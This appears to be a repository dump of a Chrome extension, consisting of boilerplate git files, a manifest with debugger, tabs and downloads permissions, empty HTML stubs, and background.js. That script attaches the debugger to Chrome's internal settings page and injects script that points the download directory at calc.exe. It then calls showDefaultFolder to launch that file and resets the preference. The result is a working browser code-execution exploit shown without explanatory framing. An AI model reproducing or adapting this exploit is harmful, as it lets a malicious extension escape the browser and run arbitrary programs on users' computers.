├── .gitattributes ├── .gitignore ├── extension ├── background.js └── manifest.json └── html ├── index.html └── infile.html /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # Windows shortcuts 18 | *.lnk 19 | 20 | # ========================= 21 | # Operating System Files 22 | # ========================= 23 | 24 | # OSX 25 | # ========================= 26 | 27 | .DS_Store 28 | .AppleDouble 29 | .LSOverride 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear in the root of a volume 35 | .DocumentRevisions-V100 36 | .fseventsd 37 | .Spotlight-V100 38 | .TemporaryItems 39 | .Trashes 40 | .VolumeIcon.icns 41 | 42 | # Directories potentially created on remote AFP share 43 | .AppleDB 44 | .AppleDesktop 45 | Network Trash Folder 46 | Temporary Items 47 | .apdisk 48 | -------------------------------------------------------------------------------- /extension/background.js: -------------------------------------------------------------------------------- 1 | targetId = null; 2 | 3 | function sleep(milliseconds) { 4 | var start = new Date().getTime(); 5 | for (;;) { 6 | if ((new Date().getTime() - start) > milliseconds) 7 | break; 8 | } 9 | } 10 | 11 | chrome.tabs.create({url: "about:settings-frame/settings"}, function (tab) { 12 | chrome.debugger.attach({tabId: tab.id}, "1.0", function () { 13 | sleep(1000); 14 | chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'old = document.getElementById("downloadLocationPath").value; chrome.send("setStringPref", ["download.default_directory", "c:\\\\windows\\\\system32\\\\calc.exe"]);'}, function (o) { 15 | sleep(100); 16 | chrome.downloads.showDefaultFolder(); 17 | chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'chrome.send("setStringPref", ["download.default_directory", old]); window.close();'}); 18 | }); 19 | }); 20 | }); 21 | -------------------------------------------------------------------------------- /extension/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "xxxxxxxxxxxx", 3 | "version" : "1.0.0", 4 | "description" : "asdfsadf", 5 | "background" : { "scripts": ["background.js"] }, 6 | "permissions" : [ 7 | "tabs", 8 | "downloads", 9 | "debugger", 10 | "" 11 | ], 12 | "minimum_chrome_version" : "6.0.0.0", 13 | "manifest_version": 2 14 | } 15 | -------------------------------------------------------------------------------- /html/index.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /html/infile.html: -------------------------------------------------------------------------------- 1 | --------------------------------------------------------------------------------